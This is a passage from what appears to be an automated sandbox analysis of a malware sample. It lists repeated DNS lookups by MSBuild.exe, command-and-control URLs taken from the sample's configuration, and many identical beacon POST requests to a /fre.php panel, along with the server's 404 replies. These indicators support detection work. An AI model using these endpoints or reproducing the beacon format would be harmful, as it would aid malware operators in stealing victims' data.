Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	DNS query: jnxxx1.xyz
Source:	DNS query: jnxxx1.xyz

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: https://jnxxx1.xyz/JRM/w2/fre.php

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /JRM/w2/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: jnxxx1.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 45365306Content-Length: 163Connection: close

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:18 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hi6EP8s%2FA6JM%2BRfu5cWelq8dHnWlM%2B89T9op67hAOd3ZG8Tvr3hS5TiyaLVdcu2jTPqCChMpx5nPsK2UQxsu8fd%2FrnlS%2BP3oLufopYezdUg3uyKNqp8JhbUvFs%2Fg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73084abee717a-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:20 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nRMKvgI%2F0%2F2n899Ft%2FZSKTFJQFPnhZW11EVr9Rqdz%2FmHh3k5zZvZuHois03vtzJeSblchTHtmekHUN3OqsS0zS88IbX2dihqTK0mi6La%2BTDXa59E9fB5BSPVn2Ll"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7308f7ebe7172-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:22 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wfRwINA8sizrSXJoN1k3qO6EE7W9%2FUVuj%2F9R9GnQ2koZzil1mauU3M9CDhUOGqCQa974KV1DUJtCRSnjA1y6GBUIFUMm0T8vH8aXmpJ5uHb%2Fd1Ujk4nxbnF0CdbT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7309819b78745-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:23 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R%2F%2BK8SVfC5ohsf5ypjZukQUxybr3HAsQTWDtDcDXSbnMW9JxaZP7acpJr4RKulgYRMQXJGPwP7krkH7BnrCvF3%2BRLS0lw1BmgNMJsLjE91QANmfP8BBqYRwu5bgj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730a4692e7a49-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:25 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AYbx1EPjW8M38lBfcRioiBFm4Sb7UXA6FpLGg384JWnA%2B32O5P%2B2%2FK38UHyCe%2FlFMbNWCX7nbpLAK4pELGSnIf3LF11nYah2qFJyOBrdcs7baB2gdp%2F8T5PpvBtL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730afbc44695d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:26 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gj0NK4oB%2BBli7ZTUP7LAptCxJVybdnOjIg%2FBIPdc9x5ijdtMpsCm%2FmB1NxAkaTDt3fxhLrJfH1YsdlR47tKujnu%2BxLKvVlECRwGpobB%2FAU3Y5bcd2fQsumLurHOT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730b84e090b6f-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:28 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TxJWTM6gV0MTxW7YM%2BTe%2B5DdsSmvL7k%2B35hgMP2DQenr130cmDAXD5htYd6lP4ns1u%2BwYFYQpq9PcE8CaPi6IhueR49tx%2Bl%2F%2FlT90EymPUkUKZlCqPx0CkQ2beeU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730c1fdb84ed9-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
